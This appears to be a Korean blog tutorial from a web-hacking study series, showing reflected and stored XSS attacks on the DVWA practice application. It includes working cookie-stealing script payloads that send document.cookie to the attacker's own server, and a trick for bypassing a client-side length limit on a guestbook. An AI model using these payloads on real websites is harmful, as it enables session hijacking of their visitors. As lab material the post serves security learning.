클라이언트 쪽의 웹브라우저를 공격하는 기법이다.(취약한 스크립트 사용) 스크립트 코드를 삽입하여 다른 사용자 브라우저에서 실행되도록 하는 공격 기법이다.
공격자가 사용자에게 피싱을 하여(스크립트 코드가 삽입) 사용자가 링크나 스크립트 코드를 실행하게 되면 웹 서버는 스크립트 코드의 결과를 공격자에게 전달되는 공격 방법이다.
방명록이나 게시글에 스크립트 코드를 삽입하여 사용자가 스크립트 코드를 실행하게 되면 스크립트 코드의 결과물을 공격자에게 전달되는 공격 방법이다.
1. 터미널 창에 #tail -f /opt/lampp/logs/access_log를 실행시켜 줍니다. 실시간으로 자기 자신으로 들어오는 요청정보를 확인하기 위한 명령어이다.
2. DVWA에서 <script>alert(document.cookie)</script> 스크립트를 실행시켜보면 실행되는 것을 보아 XSS에 취약하다는 것을 알 수 있다. alert() 함수는 알림 함수인데 파라미터로 들어온 값을 알림 창에 출력되게 해주는 함수이다.
document.cookie는 현재 Cookie(Session) 정보를 알 수 있다.
3. 현재 Cookie(Session)정보를 공격자에게 전송시켜주기 위해 <script>document.location="http://자신의 주소/+document.cookie</script>스크립트를 입력해서 공격을 실행시키고 나면 터미널 창에 Cookie(Session) 값을 얻어 낼 수 있다.
1. 터미널에 창에 #tail -f /opt/lampp/logs/access_log를 실행해 준다.
2. DVWA에 Stored XSS부분은 방명록을 저장하는 페이지이다. 우리는 악의적인 스크립트를 방명록에 삽입시켜 방명록을 열어보는 사람들의 쿠키(세션)를 탈취할 것이다. Reflected XSS처럼 document.location과 document.cookie를 이용할 거다.
3. 방명록 제목은 원하는 제목으로 쓰고 내용에 <script>document.location="http://자기자신 주소/cookie?"+document.cookie</script>를 삽입할 것이다. 하지만 방명록 글의 수 제한이 걸려있다. 하지만 보통 이부분은 클라이언트에서 검사하기 때문에 inspect를 이용하여 maxlength를 수정해 주겠다.
4. 이제 maxlength=50을 maxlength=100으로 변경후 방명록 글에 스크립트를 삽입시켜 보면 정상적으로 삽입 시킬 수 있다.
5. 이제 방명록에 들어갈때 마다 공격자 터미널 창에 상대방의 쿠키(세션)을 탈취가 이루어 지는 것을 볼 수 있다. 해당 사이트는 Error 404를 보여주고 있다.
webhacking.kr 1번 (0) | 2020.02.12 |
---|---|
10-2.XSS(DVWA - Medium,High) (0) | 2020.02.07 |
9-3. SQL Injection(DVWA - Medium,High) (0) | 2020.02.02 |
9-2.SQL Blind Injection(DVWA - Low) (0) | 2020.02.01 |
9-1.SQL Injection(DVWA - Low) (0) | 2020.01.31 |
댓글 영역